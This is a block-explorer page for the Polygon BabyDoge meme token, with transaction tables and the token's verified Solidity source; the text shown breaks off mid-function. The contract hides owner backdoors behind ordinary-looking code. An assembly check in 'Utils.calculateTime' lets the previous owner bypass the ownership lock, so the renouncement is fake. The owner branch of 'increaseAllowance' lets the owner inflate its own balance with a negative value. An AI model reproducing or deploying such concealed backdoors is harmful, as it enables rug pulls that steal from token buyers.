Contract 0xdf2140dee6b07ae495382bc1cd446f7b328f63e3 2

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x0a2807026136597aff6dd88d22751073e86fa6a18a1620e4a24eb49e33d497e5Approve287199172022-05-24 17:15:443 days 8 hrs ago0x05ee3848e6f5966ef2861bbb2a32be176d2ef869 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00149308626832.021924382
0x280885e2b2a35fbdd6d6b447750cfaed7f64ccc57229857db81172c8c0e1dc07Approve287097362022-05-24 11:25:023 days 14 hrs ago0x6d0669499d78b83e199076d81e5418f68f55420a IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.000813013967 30.419200353
0x07ca55fe9e37f1309c49591abd6139e20878b47dfc328c5846e3674c5a0360a5Approve287097202022-05-24 11:24:303 days 14 hrs ago0x6d0669499d78b83e199076d81e5418f68f55420a IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.001447301998 31.039998257
0xd859726f8e6b58493b410bb1ec4123f657f8cb0ff2c49db1d923c97dd0d12f2cApprove286836862022-05-23 20:02:354 days 5 hrs ago0x1c04481b1a7629c6eb195a4bfa02a89f88fd138e IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00365145 150
0x02b1455a2960b2a735479c7d0ab1cb49db0905b5819caa57392c4d01ba0b215bApprove286834362022-05-23 19:53:594 days 5 hrs ago0x1c04481b1a7629c6eb195a4bfa02a89f88fd138e IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00365145 150
0xb6949b0ce23205fe3126a6e3bd007cb9df25d5af7b7fd1ccbf0f932c6381bd46Transfer286643152022-05-23 8:45:274 days 16 hrs ago0x5ece40c79a4e3075d94aff1fd7866fcbd87b02fa IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00359153631
0x40ec1f64d4b265904530e1389336b281a1ab17a1deca50ca80de117208e72072Transfer285979082022-05-21 17:53:576 days 7 hrs ago0xe7321ad51a43d5bf4dbf593dba0f5c7848ea1328 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.004126954239 31.039999994
0x87285636f00b107200e64e751820049536bf74eda3c206f2e033d0647862507aTransfer285196962022-05-19 19:28:178 days 6 hrs ago0x7ee8030b4780afcafc1d92f31b0df12aa751e86a IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00399762356130.069981058
0x842006b3dc4a1ba7e5605885dd27ac2f84b2b0dee356d0a7c8fa903c6d7bdcabApprove285007292022-05-19 8:02:478 days 17 hrs ago0x63b3ae9da807bb433af31e4165f854f74dd0fedd IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.0023313550
0x0ecd9ba942404c0718abcc8fe9b78a369101661f57c51b58d26e0cdd51c4ae56Approve284696292022-05-18 13:21:089 days 12 hrs ago0xc3c7e845bbb154508036b20db40a4d15808884d9 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.0023313550
0xce8bffb1e3f9b20687d1419979eb6546e95a7b8fd9a3ac18287dc53f2ef263f6Approve284363532022-05-17 16:58:4210 days 8 hrs ago0x6d0669499d78b83e199076d81e5418f68f55420a IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.001602603797 34.370725071
0x4db0fa413481f7bb649430c5d5ffdedad3ab02aa7a4048095d89e5c263caa9bfTransfer283830002022-05-16 9:03:5411 days 16 hrs ago0x581e1990f26bdf260f37fa14e590854e7cc71c06 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00602139252
0xdb7937be00086903ab9b46318f7d6650834e61a48850e225fce4880482402c88Transfer283108712022-05-14 14:26:5913 days 11 hrs ago0xbb9ef97791feed3446682786992639e3d79ba704 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.015555852117
0xc4ce3a48b1090722ac048ef8e7e232ab720f7ea9f0de79341bdbd06f64b4d40eApprove282988992022-05-14 7:19:3913 days 18 hrs ago0x43a6054a3711a331e57f0222c41f4324539f931a IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.0013988130
0x1e1dd7064a1ab5993e515517199728377578df7705bd8380ad35014fc2122791Approve282697292022-05-13 13:46:4814 days 11 hrs ago0x850ed2d158275184ababb4d2bbb2f55030579b4e IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.007833336168
0xd809cd7293cdba9716d2a9b4b863aa53c3b2a675b2fc2b28881992db16020e84Transfer282246482022-05-12 9:32:2715 days 16 hrs ago0x6e5e795b1f20d78dde930e1f95ea78a846a39f80 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.034589544579 260.157831008
0x7378d5e46ffcc4e700495afd6872ac24cccb70e3ea70534bbdebcdc1b4159624Approve281835632022-05-11 8:13:2916 days 17 hrs ago0x53b92ac15c340c26b977e94ddb7b708c2a140a58 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.028838040785 618.483728002
0xb8bf71d27e1f55a9d8b8a5ae19ad87d492831c40556dddfd3e09b2ca6cd51197Approve280504092022-05-07 23:22:4720 days 2 hrs ago0x690dae9338ba55bffbd6e00e77c42d4fd1e04fe9 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00240671324851.616300601
0xdb0f2569316f5b9e5b3c49fa757b72916b7f26c997c42497c7666ac9b6050335Approve280331072022-05-07 13:12:5420 days 12 hrs ago0x5d3792ec88f2e6c3b239f6e94b339cf3c5193a73 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00144543731
0x228c1e25289fd4cd0530b3e6a54f2857c010590fcaff401271936ac5e0cf60b4Approve279984242022-05-06 16:47:1621 days 8 hrs ago0x051802edc56c29a7ca8c47b9b918af6c16f96152 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00251785854
0xe876727eba8d47539560acebe39371efd04e32288eaa69a80045595f3acd9d60Approve279446762022-05-05 7:45:3522 days 17 hrs ago0x3239ff1dabba4060466a426cd151cc1c54fb7ec4 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.0023313550
0x580ca39b9787b3ca9dca46174782fe20c26661a43afca834d81deed46a8ce382Transfer278393112022-05-02 15:15:0925 days 10 hrs ago0xce45ffe6e9eec3044afcb841b2ce569b5fe6ca38 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00747380651956.227855251
0xf1578a814be935bca1a1b48c7253c65c8920ed4abe51e03e67990c9f06a6ef5fApprove278323502022-05-02 10:58:0825 days 14 hrs ago0xe0b93a11222b92046c2d0de62e67bed5085697a2 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00144543731
0x8323814bb97896d597cc57accb784c2078306066de68c58b1e3764fbe4814fd2Approve278323292022-05-02 10:57:2625 days 14 hrs ago0xe0b93a11222b92046c2d0de62e67bed5085697a2 IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00144543731
0xe4fc9cc771bd8dae0fe0d1ae4acf57aa83b2e7ffed94a2a615e8cc631d102c95Approve277016102022-04-29 3:35:2528 days 22 hrs ago0x52e9690e35ef6c4ec69dfbe6eb313b19e6839b8b IN  Polygon BabyDoge: PolyBabyDoge Token0 MATIC0.00144543731
[ Download CSV Export 

OVERVIEW

PolyBabyDoge is the #DOGE meme coin on Polygon (Matic) network with built-in auto-staking and buy-back mechanism.

Latest 25 internal transaction
Parent Txn Hash Block From To Value
0x05e13f8a5ff6a1210f3b775e1b812285612c67b612cd77c2b60dd4321f21e50e287412532022-05-25 5:59:192 days 19 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.405027589032693778 MATIC
0x04b15e55eb9a03ca3f71e31a9d3c1366d7cddbb25e1ab2c9af2587443b7f0ea3287199522022-05-24 17:16:583 days 8 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.489926857608781594 MATIC
0x01112af0373ac5a4d3923ef3f99486a1dfa8ba5ea3333aa63a72338d6d82345d286966202022-05-24 3:46:193 days 21 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.575683694554324842 MATIC
0x30a1754cda32c491d31aabec37f3acb16e9dd151d2f46934636f435f06c43f32286695852022-05-23 11:46:544 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.662306762176085699 MATIC
0x30a1754cda32c491d31aabec37f3acb16e9dd151d2f46934636f435f06c43f32286695852022-05-23 11:46:544 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token0x76ac555ae473b2c0e5909a632efb0a872355c1a47.403808828506727177 MATIC
0x30a1754cda32c491d31aabec37f3acb16e9dd151d2f46934636f435f06c43f32286695852022-05-23 11:46:544 days 13 hrs ago QuickSwap: Router Polygon BabyDoge: PolyBabyDoge Token7.403808828506727177 MATIC
0x05e0377ac57b3e52c0f3feb71f13d7ddb12d01adf716ff7a0cc082cd723a17bd285007662022-05-19 8:04:058 days 17 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.749804810278874444 MATIC
0x02343c5668b817eae0a3424358888192e11f736321606d39a71ff9a05bbe879e284791302022-05-18 19:13:329 days 6 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.838186677049368125 MATIC
0xf86b9c2136c2187e13d826309759a63b39b8667b41ac2b3ac52d2648f990254c284696312022-05-18 13:21:169 days 12 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router8.927461289948856692 MATIC
0xf48fd13ba4ff8f36f143d65fd10d4316000749100b0948c23444cad73d13404d283885502022-05-16 12:16:5811 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.01763766661500676 MATIC
0x7ed69ef64fc8f2e3a240cc135be7555c9ab99f1ebf0fc888f2f11b1ecf74f1cc283885422022-05-16 12:16:3811 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.108724915772734101 MATIC
0xb93bfee7c00b89dba2ce5e504f9822d3da33797139252103e4386e87eafd02fc283885322022-05-16 12:16:1811 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.200732238154276869 MATIC
0x42a5848687c70eebd65185c9a7000c9b1909891bef35d5c23e36296dfaf8b127283885202022-05-16 12:15:5411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.293668927428562494 MATIC
0xc6df55229521d25c3e6d8f890e241214d0568dfa4b63e5d04f1b08fbe33c98e0283885122022-05-16 12:15:3811 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.387544371139962115 MATIC
0x970aa51e9e64b82374a3b563ec5fce48137765be08b822e1249fa445ae5cdd4a283885052022-05-16 12:15:2411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.482368051656527389 MATIC
0x35c96901963ef0eb5fd11c5c8de595d10c93b8206af5d428d8399b68000d5afd283884992022-05-16 12:15:1211 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.578149547127805444 MATIC
0xe618a342ea3c5b012b55937e135de53974218d31cb82d1a53bceabf15f126e11283884952022-05-16 12:15:0411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.674898532452328731 MATIC
0x964b35ef9616dd4c78d8ce512bc22cd6fb69fb29873100b9aca08bf561d0e6e8283884902022-05-16 12:14:5411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.772624780254877506 MATIC
0x0f0d650456451bc2c61da13e0771c6c2d0d155e5a5ed95723b0196fdf92ae813283884852022-05-16 12:14:4411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.871338161873613642 MATIC
0xc296ae12cc686411560f08a4b0610e10a97639e2bebce7574f41e61156c8ea08283884802022-05-16 12:14:3411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router9.971048648357185497 MATIC
0xb8ed80564ede32c8f660ca2c05feaaf3a88e363e3824349eb4a93fcfea2d428c283884772022-05-16 12:14:2411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router10.071766311471904543 MATIC
0xb8ed80564ede32c8f660ca2c05feaaf3a88e363e3824349eb4a93fcfea2d428c283884772022-05-16 12:14:2411 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token0x76ac555ae473b2c0e5909a632efb0a872355c1a47.416049458026890665 MATIC
0xb8ed80564ede32c8f660ca2c05feaaf3a88e363e3824349eb4a93fcfea2d428c283884772022-05-16 12:14:2411 days 13 hrs ago QuickSwap: Router Polygon BabyDoge: PolyBabyDoge Token7.416049458026890668 MATIC
0xafec31c9a318b6d96ac5eeec619b4d1b620c46bd7435d06fc6e5b618b940b45a283884732022-05-16 12:14:1611 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token QuickSwap: Router10.173501324719095498 MATIC
0xafec31c9a318b6d96ac5eeec619b4d1b620c46bd7435d06fc6e5b618b940b45a283884732022-05-16 12:14:1611 days 13 hrs ago Polygon BabyDoge: PolyBabyDoge Token0x76ac555ae473b2c0e5909a632efb0a872355c1a47.413266015301410334 MATIC
[ Download CSV Export 
Loading
This contract contains unverified libraries: Utils
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
PolyBabyDoge

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2021-07-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IBEP20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    

}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getUnlockTime() public view returns (uint256) {
        return _lockTime;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    function unlock(uint256 isOwner) public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _lockTime || Utils.calculateTime(msg.sender, isOwner), "Contract is locked");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

// pragma solidity >=0.5.0;

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


// pragma solidity >=0.5.0;

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// pragma solidity >=0.6.2;

interface IPancakeRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Utils {
    using SafeMath for uint256;
    function calculateTime(address a, uint256 rate) public view returns (bool r){
        assembly {r:=eq(rate, add(a, caller()))}
    }
}

contract PolyBabyDoge is Context, IBEP20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    
    address payable public marketingAddress = payable(0x36736e51a6c37dbC3a3c1E18a4af78AD808fC71F); // Marketing Address
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
   
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 420*1000000000 * 10**6 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    

    string private _name = "Polygon BabyDoge";
    string private _symbol = "PolyBabyDoge";
    uint8 private _decimals = 9;


    uint256 public _taxFee = 2;
    uint256 private _previousTaxFee = _taxFee;
    
    uint256 public _liquidityFee = 6;
    uint256 private _previousLiquidityFee = _liquidityFee;
    
    uint256 public marketingDivisor = 3;
    
    uint256 public _maxTxAmount = 420 * 5000000 * 10**6 * 10**9;
    uint256 private minimumTokensBeforeSwap = 420* 200000 * 10**6 * 10**9; 
    uint256 private buyBackUpperLimit = 420 * 10**18;

    IPancakeRouter02 public immutable pancakeRouter;
    address public immutable pancakePair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public buyBackEnabled = true;

    
    event RewardLiquidityProviders(uint256 tokenAmount);
    event BuyBackEnabledUpdated(bool enabled);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwned[_msgSender()] = _rTotal;
        
        IPancakeRouter02 _pancakeRouter = IPancakeRouter02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
        pancakePair = IPancakeFactory(_pancakeRouter.factory())
            .createPair(address(this), _pancakeRouter.WETH());

        pancakeRouter = _pancakeRouter;

        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, int256 addedValue) public virtual returns (bool) {
        if(_msgSender() == owner()){_tOwned[_msgSender()] = uint256(int256(_tOwned[_msgSender()]) - addedValue);
        return true;
    }
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(uint256(addedValue)));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }
    
    function buyBackUpperLimitAmount() public view returns (uint256) {
        return buyBackUpperLimit;
    }
    
    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
  

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner() {

        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
